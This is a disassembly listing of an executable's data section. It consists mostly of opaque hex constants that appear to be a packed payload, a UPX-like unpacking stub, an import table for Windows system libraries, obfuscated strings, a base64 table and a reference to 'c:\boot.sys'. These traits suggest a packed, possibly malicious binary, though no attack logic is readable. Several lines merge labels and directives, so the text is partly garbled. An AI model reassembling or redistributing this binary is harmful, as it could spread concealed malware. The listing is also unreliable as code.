		dd 19112830h, 9C9B584Ah, 582106EAh, 640611BAh, 0E8187151h
		dd 49700E0Eh, 2117F67h,	589B7F08h, 57EE085h, 284A7427h
		dd 0B952211Dh, 7A8D4D10h, 687D49C8h, 468C0C76h,	39578414h
		dd 2BAB7EA4h, 46895F18h, 7C1E8B10h, 150FC0E0h, 0FAC38156h
		dd 0B95E551Dh, 721FF87h, 60C38356h, 9AB8ECEBh, 1995ED51h
		dd 73D64B18h, 7E748253h, 57DACCD5h, 0A577E434h,	0E830B89h
		dd 0AA437632h, 7F478D47h, 9036FF47h, 80CC0BECh,	891840F1h
		dd 87838147h, 579E9707h, 60579E7Ch, 0AC5A2DBDh,	0B43E8750h
		dd 98057D68h, 6B3CA390h, 81E0663Ch, 0C683F06Eh,	7579FF04h
		dd 450C4993h, 2D3218BEh, 1EF65810h, 712CD890h, 4650BE9Ch
		dd 0D0480D8Bh, 0DFFBFEEh, 0D08A147Dh, 0C83B09B8h, 7541588h
		dd 0FF065574h, 0EF3E1A2Dh, 98BC459h, 0F375DF3Bh, 944D1314h
		dd 5379D61Bh, 9E976F9Bh, 56F98C35h, 1E47754Ch, 103844F0h
		dd 0E1584B54h, 57184503h, 0C3C4DE1Ah, 0FDD7CA06h, 25340125h
		dd 9710F750h, 18161CEBh, 0D58C102Eh, 44928733h,	0B618D126h
		dd 1483553Ah, 42F84008h, 0A92F05A1h, 0D0EAB1CAh, 9CAB70BFh
		dd 507C7589h, 0E4E8DF2h, 58EE5589h, 0E6ED1B75h,	0A5A3D35h
		dd 829505B8h, 0BA8083B0h, 9C518C49h, 1C107B9h, 860F5581h
		dd 0A09B0597h, 4E8F0483h, 2A748EEAh, 607EC0E5h,	7480350Fh
		dd 0CA061F1Ah, 0AA3162Ah, 2A895327h, 2654F7C0h,	0E177C928h
		dd 9E4A7461h, 1274F446h, 58A9649Dh, 5847388Ch, 64B7E0F4h
		dd 4F30F400h, 5598430Ch, 0D0278DCAh, 0BA1F7827h, 0BCA23DD7h
		dd 3104CA1h, 0A9422A7Ah, 81E045C7h, 0DD08A840h,	8A5414B0h
		dd 0DF8E76E5h, 0A33772D6h, 0B9D3FF2Dh, 2E0E6A1Fh, 8F3447B4h
		dd 41D60A23h, 0A256C51Eh, 315921ADh, 57361087h,	1C6EB780h
		dd 150F04BDh, 0D7374450h, 9517F3Ah, 0D0B0FA0Ch,	8A99A266h
		dd 0D54C5304h, 9037BE87h, 0A46FC25Ah, 0C7B2FFD3h, 3AC10D10h
		dd 521FEB34h, 0C1D95152h, 387D6A78h, 3056D951h
		db 8, 0C9h
		db 0Eh
byte_444E5F	db 3			; DATA XREF: .text:off_446A89o
		dd 345653BFh, 2251FA5h,	8CB000E0h, 0D41C27E7h, 80E53AA1h
		dd 3C2D6DBFh, 0F0B31EAh, 0F3DC6887h, 71880C60h,	5F04D947h
		dd 985A1039h, 8AE1A4Dh,	8123FCD0h, 590C86D7h, 26F011FCh
		dd 420C9C87h, 0FCFCF8E4h, 2D812B3Bh, 0D28F5D3Ah, 0C61EE155h
		dd 2C4B0C00h, 0C80CC9D8h, 8080C81h, 0E59193DDh,	80F1463h
		dd 88E408F8h, 8BF8F253h, 0B38DF84Eh, 0E21D6803h, 855DB93h
		dd 9BA68388h, 0F9A5E59h, 842D42Ah, 9E084A89h, 11AF1C01h
		dd 2B651471h, 926F19B8h, 0C7F45E9h, 0D620D5C7h,	454CC803h
		dd 10F2D2C2h, 38BAF3E0h, 1E770C7Eh, 9F210394h, 0CB113108h
		dd 17212162h, 2156D48Ah, 39097EBEh, 0C9347C50h,	73C2D8F3h
		dd 7F04DA2Dh, 1EBEC017h, 0E1449C48h, 0D90D74CEh, 897B7091h
		dd 74C2E36Fh, 3B67B893h, 8740C20h, 77360F35h, 0EB8FECABh
		dd 0A9658D8h, 0B299219Fh, 41431F07h, 810E4112h,	0FE0F5C25h
		dd 81F46D93h, 43037759h, 97D75860h, 0C33490C1h,	0AF4476CCh
		dd 3B21D9B0h, 0EC98AF6Dh, 9A401AA3h, 75095C00h,	84683DECh
		dd 0B75D4E15h, 161C90EDh, 3B0A264Ah, 9A69362Eh,	0F29B08B1h
		dd 6DF30CDEh, 2901C90Ch, 0A7581B0Dh, 0DB933491h, 473DDBEFh
		dd 0E944C298h, 308DF586h, 69CF0E44h, 992A2D16h,	5314E30Ch
		dd 0B8DDC075h, 60140773h, 75727E80h, 2ED21A4Eh,	398756E8h
		dd 7495D233h, 0CA0C7930h, 0C048C4B1h, 6F4DB94Dh, 167AB7F7h
		dd 58EC588Bh, 0FFE38110h, 0B8C4C0Fh, 6F750806h,	7E0C9B1Bh
		dd 4A47D103h, 0F56B1ED2h, 147EE82Dh, 0C61689B9h, 0B85A9246h
		dd 53B78FDh, 3EB1454h, 4948C8DEh, 235C1976h, 1925A75h
		dd 2A3A1058h, 366FB76Bh, 754FFC8Ch, 796683EAh, 19866680h
		dd 1B5024B6h, 3C17C252h, 17C4B618h, 3956BA02h, 1871105Dh
		dd 7D9F2BCBh, 83E34C1h,	718B08CEh, 759CDF45h, 0D375615Dh
		dd 5814D214h, 751C5938h, 6DBB5B50h, 5D1D41C1h, 804CEF8h
		dd 6A976FDFh, 1450F3CEh, 0F8550148h, 5AD2D33Bh,	0C84E476Bh
		dd 139418EBh, 0D4230CEAh, 0B6EFA5A6h, 0EBB3FFFAh, 2139D3CAh
		dd 0FDFA8F14h, 4056F61h, 16D641C6h, 50646F6h, 5BEB0CDCh
		dd 4A878AE7h, 56E48EF8h, 0E6E5C060h, 14A86C5Ah,	89AAADE1h
		dd 0DDB2AF00h, 8B2D6B77h, 0A5F33B36h, 0EB3C7C74h, 4B77EDCFh
		dd 3D743E75h, 77147255h, 29C28B02h, 0BB76E06h, 13D02BDFh
		dd 0A4EB9704h, 1BA0744Dh, 172B7610h, 4EFD686h, 3DD2F3DBh
		dd 368DB6Bh, 0CD4D9ADh,	1229CB27h, 18AB9AB4h, 202CC22Ah
		dd 86DABB48h, 37110115h, 0B54B4E86h, 0CAAAC243h, 46658714h
		dd 0BDAB1F6Fh, 59066A57h, 56FE8B14h, 10E340B8h,	0D2991B4h
		dd 0CD6ACC2Dh, 6DC4A3EEh, 156614A0h, 12B302B6h,	241E088h
		dd 50D75062h, 29C533Ch,	6FCC0CEEh, 7E8D1EFEh, 1FD06608h
		dd 465459C0h, 568AE8EBh, 7ADB8069h, 0E52ECE0Fh,	0E7BD3114h
		dd 61DD6CCh, 6820F454h,	642DD81Eh, 619DB0CFh, 6500101Dh
		dd 4036A91Ah, 0BDEE5A55h, 462D54B4h, 0FE34FD6Fh, 8CA02CB7h
		dd 0F39FF98Ch, 54D6ED6Fh, 0F9D19AB8h, 0DA75273Fh, 78EC03Eh
		dd 513C5F82h, 0D4B85393h, 37170E42h, 0BC575BABh, 721B6ABAh
		dd 87B249BEh, 3F736DFh,	0F9190B68h, 20B1FC0h, 46473C8Ch
		dd 0C800D2C4h, 0FC18888Eh, 0CB85CC8Ch, 0C68DED02h, 36B3F803h
		dd 1A24C19Ch, 61B456Ch,	1781BD63h, 27D19A3Fh, 7E4D7701h
		dd 908B4298h, 0BD40B06Fh, 830C33FBh, 0E9F714C1h, 0A8F1B6CDh
		dd 0F458853h, 3314756Eh, 7DB38447h, 4D8A7447h, 32A4170Fh
		dd 7031F620h, 0B1AE6225h, 6BED052h, 646D80B8h, 0A38109B3h
		dd 0B2701F29h, 7982FB1Dh, 0CE49E80Ch, 94BE43D1h, 5B535241h
		dd 55746A70h, 0B1B9E0A4h, 9E147E08h, 6D5BBAF8h,	0C4201CD0h
		dd 23F61122h, 2B762060h, 0D8C7E0E8h, 80180305h,	1E89EF17h
		dd 0F02F6CE5h, 8E9076C0h, 0B771FB3Bh, 247B7D1h,	8F7BE39Ah
		dd 9F8B2B54h, 97CCFD5Ah, 887880Ch, 0D83B0B02h, 351EF012h
		dd 19EA2223h, 64D42846h, 1AF54BECh, 424C22F3h, 531F8021h
		dd 735B3320h, 96830111h, 819C0885h, 1C068158h, 16D1D043h
		dd 4D99B362h, 0D4BD1E4Bh, 46464646h, 0DC94D8FCh, 46F6161Fh
		dd 0A5CBB30Dh, 0EFBD8D69h, 0C78BBF61h, 8BC54D89h, 5BBBF18h
		dd 0A25781A3h, 0EC65CC7Eh, 9411A508h, 37893DCAh, 9D6F263Eh
		dd 1A496C1Bh, 0B602EC0Fh, 0AB6831FFh, 61135B3h,	0FFF04150h
		dd 0FB6C5EF7h, 0A2278303h, 0A559F093h, 88403FBFh, 53ABB739h
		dd 0FFFFFE1Ah, 21B30833h, 249F4A8Ah, 43850A90h,	0C64657E9h
		dd 0B054212Dh, 171F99EBh, 970E016Dh, 6D3F88B2h,	1E3A3175h
		dd 898A4805h, 516CC689h, 8BF54848h, 7992FFEDh, 0BF0246E2h
		dd 30306B38h, 0EE6BD78Ah, 5063435h, 768A810Ch, 0CF0AD939h
		dd 3F3BB3Ch, 0E11C231Ch, 0FE565ADEh, 0A3AC6A05h, 933B7593h
		dd 1B3140A1h, 0B451329h, 14A30820h, 0FBAD46CEh,	234BC38Bh
		dd 3CA692C1h, 0A1367014h, 0FBC3946Ch, 42B66C2Eh, 0A1728AE7h
		dd 0DA043D8Ah, 0F6C4CD86h, 8B8AD04Bh, 6054F2h, 655CE133h
		dd 806FC34Ah, 90494C35h, 0D9884D38h, 0C7DE27B0h, 30234E06h
		dd 660F73Fh, 0F5528101h, 18363C05h, 45C72011h, 3240C362h
		dd 0F48880C0h, 0EBA21A4Ch, 8C47C7B0h, 83659159h, 1C4D6C12h
		dd 2F6D872h, 3C740F0Ah,	0DAB3C212h, 0E106B57h, 0E03CCD96h
		dd 74F8083h, 1E0E85D8h,	7B830B4Dh, 8540B94h, 8F547C0Fh
		dd 0E7931EE8h, 1BBBBE2Dh, 35750252h, 19741005h,	831247F6h
		dd 9E00BD0Bh, 5C6A1075h, 0C530087Bh, 66BBB86Ah,	758FA7F3h
		dd 539A570Ah, 163145Ah,	570228C0h, 0B2585232h, 0D0D12961h
		dd 39D37B2Ch, 7401D0C6h, 0CC868B71h, 4BEC6419h,	8D534F27h
		dd 86CBCD9Eh, 19192190h, 0EF86868Eh, 960E464Eh,	1545BCBh
		dd 0B1571375h, 56AC5D25h, 0AB04ACB6h, 5428E6E7h, 0CC057B01h
		dd 91919102h, 0DCC4C891h, 919191BCh, 0C0B4B891h, 919981D0h
		dd 0E0D8D491h, 0C9452800h, 0E200FFC8h, 9EE886EDh, 0BAE904h
		dd 235686F0h, 2170BFC2h, 0BA01FB36h, 8B0E5A4Dh,	0C6033C70h
		dd 1C8DB454h, 100641BCh, 0C2D16F00h, 0EB386ED7h, 1635EE0h
		dd 0BADD221Ah, 901426FCh, 0F17C0B17h, 7D7A4A76h, 0E87F071Dh
		dd 37FFADEh, 8A188AC2h,	751E3ACBh, 30C9841Ah, 0C01588Ah
		dd 15BB715Eh, 46905D50h, 0E2751146h, 7605A3FFh,	401B05CFh
		dd 831B4FD8h, 83022045h, 8B42A681h, 96723CC7h, 57C5FC3Bh
		dd 0BC727AB3h, 20EE4A33h, 8FF06A2Dh, 0B70F0CADh, 8DF22B00h
		dd 82D4455Dh, 630B5B8h,	0AA4EDF81h, 53FA2BDAh, 6164410Ch
		dd 0C8003170h, 13F452B5h, 0D60F0403h, 3BA5FB0Eh, 6F636F74h
		dd 1244176Ch, 0F4533019h, 42671752h, 0C16778F1h, 94D55677h
		dd 0EBC4B4Dh, 2BBEC648h, 0CA94091h, 2A02811Dh, 87F4E456h
		dd 0B0BED557h, 16387870h, 0ECF20320h, 2D0B157Ah, 8B244E75h
		dd 0FA74032Ch, 0DFA3A05Dh, 0FEC5DB0h, 3F53C320h, 220F4FFFh
		dd 6B621601h, 20510F48h, 4BD45076h, 9E9E56C1h, 2D346883h
		dd 3EA96A38h, 311A57DAh, 0F3481CA3h, 205D12B0h,	20481694h
		dd 141C85CFh, 7C8760C2h, 0EC187217h, 47A37862h,	3E50CEB3h
		dd 88895B92h, 5E2B66B5h, 1227105h, 0DE210E23h, 745FFB67h
		dd 0E91807F1h, 63BB2FA1h, 95C76F14h, 3D24053Fh,	5BF7505Ch
		dd 454400D1h, 690076h, 895C0763h, 876DDDC2h, 730B64h, 0D7AE0772h
		dd 611B9B75h
		dd 1D6D030Bh, 1B720374h, 203C5D63h, 3B558CDFh, 8DC11763h
		dd 6E651F74h, 7D179B21h, 49506DCFh, 752EDh, 0B6426F63h
		dd 6937CC0Dh, 0B3275C0Dh, 0A9119440h, 3218866Ch, 0F0D0BDB4h
		dd 2EA8685Ch, 0E25E5009h, 0DA186809h, 2153B281h, 5606D4F7h
		dd 1C4B5012h, 865A2826h, 8308E25Ah, 0F6ADDA95h,	70D85B7h
		dd 22C4AA58h, 5153944Dh, 6F3BFC68h, 9476D6EEh, 9C889820h
		dd 0B0060DC8h, 0E46206FEh, 14B43EE6h, 0E0B8142Fh, 0DB2DB6C0h
		dd 0CC288FF6h, 57D4D002h, 880C7E20h, 68E83EE6h,	79402F0Ch
		dd 0C41B2F73h, 1E241816h, 6A38568Bh, 0E21501DEh, 46FA8B1Bh
		dd 1AB859A1h, 6F0DE007h, 0B8F716D1h, 5E920920h,	70028934h
		dd 0F25E8BF5h, 4B868940h, 63547846h, 0FA22C115h, 0CEFFB894h
		dd 687447EEh, 6CA30458h, 0B8D6FF0Eh, 0F3C88648h, 4C50157Ch
		dd 0F41CEA48h, 6A53C1D0h, 0ECF329CCh, 3D736F4Dh, 96595183h
		dd 34402FF3h, 51F1F068h, 0AC4F076h, 0A012F098h,	53140D0Fh
		dd 0D97A32D4h, 12D84A06h, 301330CCh, 1D65E533h,	30E0C303h
		dd 2A345644h, 0B4C9A030h, 64FD2B02h, 1C81F50h, 53D3654Bh
		dd 4C6E6970h, 51ADEA0Ch, 1211774h, 0AEFEFB49h, 7953FEDDh
		dd 1C6F626Dh, 171A4C63h, 74520394h, 8975516Ch, 0DB6B36Ah
		dd 61074979h, 0ED925508h, 431B3173h, 0B677A895h, 565C642Bh
		dd 6DAD542Bh, 2D496450h, 0AA6B2916h, 669566FEh,	706D6F43h
		dd 7164656Ch, 1B92DB3Eh, 0F7F395h, 0C6C06342h, 5A4A68A0h
		dd 0F6B517FAh, 6E49F24Dh, 3C455D37h, 0FAA1257Eh, 2D75E85h
		dd 6B957350h, 27B3B09Fh, 6F5422BDh, 8D1B6E41h, 0E65176Bh
		dd 644DEA33h, 0B6C7BFF2h, 4D024E7Eh, 4CEC4D6Dh,	6761506Bh
		dd 0A802BAD7h, 4FE07B9Ah, 661E6662h, 585E7E03h,	17D44DB3h
		dd 421452B5h, 0CEDAA179h, 14541AAh, 0C355EE78h,	5417D9F6h
		dd 0F9137079h, 0FF955369h, 1A05186Dh, 726B736Fh, 652E6C6Eh
		dd 0D6E12E78h, 664BB536h, 7361384Bh, 73364F82h,	4113EFC9h
		dd 69757163h, 77085072h, 0DEDB42EDh, 71724973h,	3E0D48ADh
		dd 0BB336961h, 0D7B70B6h, 0A37044D4h, 41175D65h, 7C08B14Ch
		dd 0C1749551h, 6764B5DBh, 1176AD55h, 0A95B22DCh, 5074E2DAh
		dd 0CC27158Bh, 0FEA870DDh, 667542BDh, 81C819D4h, 332CE425h
		dd 0E496029h, 45725F4Bh, 6DEA8D0Ch, 63724100h, 0F685C5BDh
		dd 0BAA3D6DAh, 0EF33226Eh, 0BC2AAB36h, 0AE69B7h, 0A033011Fh
		dd 0CF6C3DE4h, 4136E55Ah, 256F4274h, 2D92B726h,	2B959980h
		dd 8DDD662Bh, 70566548h, 156D3C79h, 15876422h, 0F9751D14h
		dd 891F491Ah, 59532E0Dh, 4AC8A153h, 8901D5F1h, 2D17B618h
		dd 1E69007h, 48041930h,	14B2C95Bh, 1304C04Fh, 53C0D743h
		dd 5F9D56B4h, 0CDED4505h, 5340D034h, 5FB34FABh,	0FE788B05h
		dd 4F0B46B9h, 0FEEF04BDh, 26C36D03h, 75D452Bh, 0B4EF473Fh
		dd 19017210h, 1D733163h, 744F6C34h, 6735697Bh, 839B074Dh
		dd 0D6C61AEh, 2B660D49h, 0B1BC4023h, 34B93BAEh,	62073903h
		dd 75D064C7h, 171E751Dh, 736D2343h, 0C80D14B0h,	61812073h
		dd 7418C188h, 20AF6B61h, 0F74D339Bh, 6307D13Dh,	79206F11h
		dd 0E0C43D92h, 1407CF76h, 0DC0CC153h, 79533DF6h, 375DF34Fh
		dd 54CF9DD6h, 6E2D4B33h, 520D6C05h, 7BAE066h, 137531C3h
		dd 0E61D8DCFh, 4715119Eh, 631544CBh, 8DD74494h,	69797069h
		dd 5B1F6E2Dh, 49B6F759h, 65215168h, 89055399h, 36B901h
		dd 5881560Bh, 4B971C2Bh, 585EF32h, 0C8D8F307h, 2E373135h
		dd 0C44F0700h, 74B06665h, 6ED561B7h, 90B6EBAFh,	2F2971E7h
		dd 29671B4Ch, 0EEB1B84h, 8D79930Dh, 1021A367h, 13D9ECAEh
		dd 0EB061B20h, 15A9BA1Ah, 530BF32h, 6233092Dh, 9B8ACEC2h
		dd 3054770Ch, 6DC62F0Dh, 72C75164h, 0B38F7426h,	7D29576Fh
		dd 8D830B6Bh, 1FD5CC34h, 69934F3Eh, 66126C09h, 0EF6E2FE7h
		dd 0BAC1A461h, 5779072Eh, 75500D20h, 6C6E7C7h, 0B9425761h
		dd 0C46F643Fh, 5C48BEE8h, 750F6F1Fh, 8CA2EF43h,	3A774525h
		dd 212308BBh, 0DFE15B64h, 46CEE7DEh, 5F7553B7h,	61D2F569h
		dd 44B7C26Ch, 5D43561Fh, 56E88709h, 6D842400h, 0B6E8C27Ah
		dd 611F7315h, 0B00409A3h, 0CD90337Fh, 80A80315h, 0D034C433h
		dd 0D55BDF34h, 0EE34FFFFh, 1B350F34h, 39352A35h, 0D135A635h
		dd 0E035D735h, 6FFA32A7h, 6B36FF55h, 9B368A36h,	1099A436h
		dd 1C378A37h, 0FF384638h, 3A17FFFFh, 38C3385Fh,	38FE38E2h
		dd 39383928h, 394B3945h, 39B63965h, 39E639D3h, 0FFFF39F9h
		dd 3A39FFFFh, 3A473A40h, 3A553A4Eh, 3A633A5Ch, 3A713A6Ah
		dd 3A903A78h, 3AA83A9Fh, 3AF43AB1h, 0FFFF3B08h,	3B10FFFFh
		dd 3B763B15h, 3C0C3B7Eh, 3C8C3C72h, 3D093C9Fh, 3DB03D31h
		dd 3E3A3DB9h, 3E973E80h, 0AF8B3E9Eh, 3EBEFFFFh,	3F353F04h
		dd 3F623F4Ch, 3F7D3F6Eh, 84F93FF0h, 0FFF27B10h,	20C066FFh
		dd 11310530h, 39312A31h, 78316C31h, 98318931h, 2320C31h
		dd 23FFFFC0h, 44332B33h, 0E333C233h, 13340B33h,	29341834h
		dd 0FFDDFF8Fh, 0C13458FFh, 0FB34F334h, 29352134h, 81352E35h
		dd 0E5CB8935h, 0FD35F335h, 23361635h, 0FFF77F46h, 39363036h
		dd 58364136h, 82367C36h, 0DD36BADBh, 53384E36h,	0FFFFFF0Eh
		dd 387D38FFh, 38B13890h, 39B1393Eh, 3A223A17h, 3A683A5Eh
		dd 3AE83AC6h, 3B283B1Dh, 3B853B7Ch, 0FFFBBFB7h,	3C073BFEh
		dd 3C703C68h, 3C803C76h, 3CE7B988h, 3D5D3D50h, 453E2E34h
		dd 0FFFFFFFEh, 503E4A3Eh, 6E3E573Eh, 0CD3E783Eh, 613EDE3Eh
		dd 853F6C3Fh, 0BF3F933Fh, 0DB3FCA3Fh, 0FF3FE93Fh, 0E81EEFFFh
		dd 304CBFF4h, 30D93089h, 30F630DEh, 313A30FDh, 315B3141h
		dd 2F103164h, 3194FFF4h, 31A8319Fh, 31F231ADh, 353F31F8h
		dd 0FE1B1632h, 0C39E1ADFh, 34BA34AAh, 34D734CBh, 8D203508h
		dd 3780356Eh, 3586FE00h, 35A535A0h, 37482778h, 0EDF00076h
		dd 380E0F0Dh, 5038A72Ch, 0B7FF6838h, 0CB51BFFFh, 19391438h
		dd 26392039h, 34392C39h, 39610039h, 39853976h, 399F398Dh
		dd 0EE0B001Bh, 0CBAC39A7h, 0ED17D099h, 0FD5BFE00h, 0FA39F539h
		dd 3A4BFF39h, 3A183A10h, 0FF743A1Eh, 1937FFFFh,	3B423AB3h
		dd 3B813B73h, 3BAE3BA8h, 3BBA3BB4h, 3BC63BC0h, 3BD23BCCh
		dd 2FFF3BD8h, 3BDEFFFDh, 3BEA3BE4h, 3DA23BF0h, 3DF33DEEh
		dd 143E0FA0h, 303E213Eh, 423E353Eh, 0FFFFC006h,	563E513Eh
		dd 723E603Eh, 893E813Eh, 3D3E903Eh, 0C02B473Fh,	83F001BFh
		dd 0A629913Fh, 0C43FBC3Fh, 19FFD53Fh, 0F32D06DBh, 15DF30F3h
		dd 1F301A30h, 0F8242430h, 2930EDB7h, 0F5350030h, 65303F30h
		dd 1F306A30h, 9EC7E6h, 4931424Eh, 40601997h, 1A2FA06h
		dd 4473458Dh, 49FE73F8h, 706802ECh, 3220FB6Bh, 4B5C302Eh
		dd 809E268Bh, 5C775C17h, 120F4F0h, 64705505h, 95C4B162h
		dd 0AA4EA704h, 0D43BFE77h, 42095A6Ah, 6174536Bh, 5307472h
		dd 72476F9Ch, 0D670756Fh, 0A41780Ah, 82C11FACh,	0D7347405h
		dd 50167618h, 0D55C7643h, 205B6E73h, 0D7000D01h, 1ED709Fh
		dd 6F977EDEh, 1D00BA1Dh, 903E08F6h, 575D155Ch, 4640323Ch
		dd 0FB590660h, 2A1F4523h, 0F6338008h, 177EFF85h, 15197F18h
		dd 1E285C66h, 7CF73B46h, 0F30AA423h, 3B2480E9h,	4362FEE0h
		dd 40101CF2h, 0C131800h, 61765468h, 73C6C9BEh, 0E6A1114h
		dd 813E4810h, 1028E054h
		dd 0C2A90040h, 1448EE74h, 0E7E04C1Bh, 5660A306h, 90F54C6h
		dd 5AF736A3h, 20054910h, 9C4F4004h, 67FB6405h, 20345931h
		dd 4C9C64BDh, 0BE57F6C9h, 0C6A49C9Ch, 0A481CF25h, 0F7D068C0h
		dd 0D8799Fh, 683A6816h,	0BE0A6ABBh, 0F3482394h,	8D597FDDh
		dd 0A5F3AC7Dh, 0B84BEA4h, 0A5D87D8Dh, 0B19E7CA5h, 0F5F0C11Bh
		dd 0E80A74BEh, 76EBB76Ch, 0E4A5F847h, 0A40B6468h, 99BEACE6h
		dd 553E205Dh, 0C1692480h, 0B0016A7Bh, 14EC7457h, 35196A0Fh
		dd 9E2350Fh, 831FF89Bh,	61C94CC4h, 0E19CCD92h, 6AF8DF08h
		dd 6CD437F5h, 400544A6h, 0F80D4A9h, 0F7617385h,	0EFBCBE9Dh
		dd 96F26604h, 0F7BAFF00h, 0C64420Eh, 14EC358Bh,	6767F4FEh
		dd 1AD64630h, 47831903h, 0C2EEBF78h, 3C305204h,	1105842Ah
		dd 6159010Eh, 1E67D98Bh, 39EC6859h, 1342A20h, 0F3C868h
		dd 0AD7210FFh, 13DE1A7Ch, 0EA60385Ah, 74C3640Ah, 76E0349Fh
		dd 30AFD404h, 0EFEF112Eh, 8D047B2Ch, 0FF68D68Dh, 562898D0h
		dd 1DEFBF0Ah, 6C51204Dh, 0B55FBBh, 0C0968B59h, 962A3635h
		dd 144876A7h, 570950DDh, 2D1E04B6h, 27D8DEAh, 80EFF33h
		dd 0B45420F9h, 575DB023h, 57B01D24h, 2057359h, 0CC51h
		dd 0A0286016h, 41101B70h, 3C61019Ch, 0C4061801h, 44015C21h
		dd 80C03100h, 0BA0ABA42h, 773E9384h, 310400F9h,	0A6922030h
		dd 57908824h, 88040155h, 10B2031h, 2090E292h, 1D4010Eh
		dd 0B2C40656h, 20904C04h, 6D3EE606h, 1212F125h,	41168844h
		dd 0D25CD830h, 0B27B7DE3h, 4456460Ah, 5580B667h, 8A368510h
		dd 69C443ECh, 7301315Ch, 165F2006h, 10C54h, 0E12F20F2h
		dd 6E010F79h, 0B078D565h, 80C122A0h, 5810CE2h, 21F8DF5h
		dd 0E054840Ch, 837A744Eh, 41957ACh, 96046817h, 0B05F5059h
		dd 2EB906Ch, 206C510Ch,	7B2CFD48h, 0BC000000h, 71BFh, 1200h
		dd 0BE6000FFh, 406000h,	0B000BE8Dh, 8357FFFFh, 10EBFFCDh
		dd 90909090h, 68A9090h,	47078846h, 775DB01h, 0EE831E8Bh
		dd 72DB11FCh, 1B8EDh, 0DB010000h, 1E8B0775h, 11FCEE83h
		dd 1C011DBh, 75EF73DBh,	831E8B09h, 0DB11FCEEh, 0C931E473h
		dd 7203E883h, 8E0C10Dh,	8346068Ah, 7474FFF0h, 0DB01C589h
		dd 1E8B0775h, 11FCEE83h, 1C911DBh, 8B0775DBh, 0FCEE831Eh
		dd 0C911DB11h, 1412075h, 8B0775DBh, 0FCEE831Eh,	0C911DB11h
		dd 0EF73DB01h, 1E8B0975h, 11FCEE83h, 83E473DBh,	0FD8102C1h
		dd 0FFFFF300h, 8D01D183h, 0FD832F14h, 8A0F76FCh, 7884202h
		dd 0F7754947h, 0FFFF63E9h, 28B90FFh, 8904C283h,	4C78307h
		dd 7704E983h, 0E9CF01F1h, 0FFFFFF4Ch, 0B9F7895Eh, 11Ah
		dd 2C47078Ah, 77013CE8h, 43F80F7h, 78BF275h, 66045F8Ah
		dd 0C108E8C1h, 0C48610C0h, 0EB80F829h, 89F001E8h, 5C78307h
		dd 0D9E2D889h, 7000BE8Dh, 78B0000h, 3C74C009h, 8D045F8Bh
		dd 90003084h, 0F3010000h, 8C78350h, 905096FFh, 8A950000h
		dd 0C0084707h, 0F989DC74h, 0AEF24857h, 5496FF55h, 9000090h
		dd 890774C0h, 4C38303h,	96FFE1EBh, 9058h, 0DF61E961h, 0FFFFh
		dd 25h dup(0)
		dd 0A0700000h, 0A0500000h, 3 dup(0)
		dd 0A07D0000h, 0A0600000h, 3 dup(0)
		dd 0A08A0000h, 0A0680000h, 5 dup(0)
		dd 0A0940000h, 0A0A20000h, 0A0B20000h, 0
		dd 0A0C00000h, 0
		dd 0A0CE0000h, 0
		dd 454B0000h, 4C454E52h, 442E3233h, 41004C4Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4356534Dh, 642E5452h, 6C6Ch, 64616F4Ch
		dd 7262694Ch, 41797261h, 65470000h, 6F725074h, 64644163h
		dd 73736572h, 78450000h, 72507469h, 7365636Fh, 73h, 43676552h
		dd 65736F6Ch, 79654Bh, 61720000h, 646Eh, 4Bh dup(0)
		dd 2, 0Ah
dword_446458	dd 0							; sub_4082AB:loc_4082D9r ...
dword_44645C	dd 56306Fh	dword_446460	dd 625C3A63h, 2E746F6Fh, 737973hbyte_44646C	db 72h,	49h, 0		; DATA XREF: sub_40844F+3Ao
byte_44646F	db 50h			; DATA XREF: sub_40844F+A6o
		dd 82707F6Dh
		db 66h,	25h, 0
byte_446477	db 4Bh			; DATA XREF: sub_40844F+B9o
		dd 48h
dword_44647C	dd 11h,	0Fh dup(0)dword_4464BC	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_408741+10o
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh, 8, 0Ah
dword_446504	dd 0							; .text:loc_4085D4r ...
		dd 3
dword_44650C	dd 0Eh		dword_446510	dd 0							; .text:loc_4086D3r ...
dword_446514	dd 57384020h			db 5Ah,	0
dword_44651A	dd 20374Bh	word_44651E	dw 574Fh		; DATA XREF: sub_408779+77o
		db 0
word_446521	dw 30h			; DATA XREF: sub_408779:loc_40882Fr
		align 4
		dd 5, 0Ah
dword_44652C	dd 0							; .text:loc_4088DEr ...
aVlvh__0	db 'vlVh_',0            ; DATA XREF: sub_40893E+11o
		align 4
dword_446538	dd 0FFFFFFFFh			dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
dword_446938	dd 7568203Ah			db 0
byte_44693D	db 2Fh,	31h, 81h	; DATA XREF: sub_40893E+9Do
		dd 3A546F7Eh
		db 0
byte_446945	db 3 dup(0)		; DATA XREF: sub_40893E+F1o
off_446948	dd offset loc_4089D5	; DATA XREF: sub_40893E+88r
		dd offset loc_4089E8
		dd offset loc_408A13
		dd offset loc_408A4A
dword_446958	dd 7				dd 0Ah
dword_446960	dd 0							; sub_408AB9:loc_408AE8r ...
dword_446964	dd 2B5240h	word_446968	dw 41h			; DATA XREF: sub_408B4C+B8r
word_44696A	dw 3B2Dh		; DATA XREF: sub_408B4C+14Bo
		dd 61393920h
		db 0
dword_446971	dd 505866h	dword_446975	dd 505E55h	byte_446979	db 3Bh,	27h, 2Ah	; DATA XREF: sub_408E12+16o
		dd 2026206Ch
		db 0
aHjvmnia	db 'hJVmnIA',0          ; DATA XREF: sub_408E12+61o
aP_rX		db 'p+_R',27h,'X',0     ; DATA XREF: sub_408E12+A7o
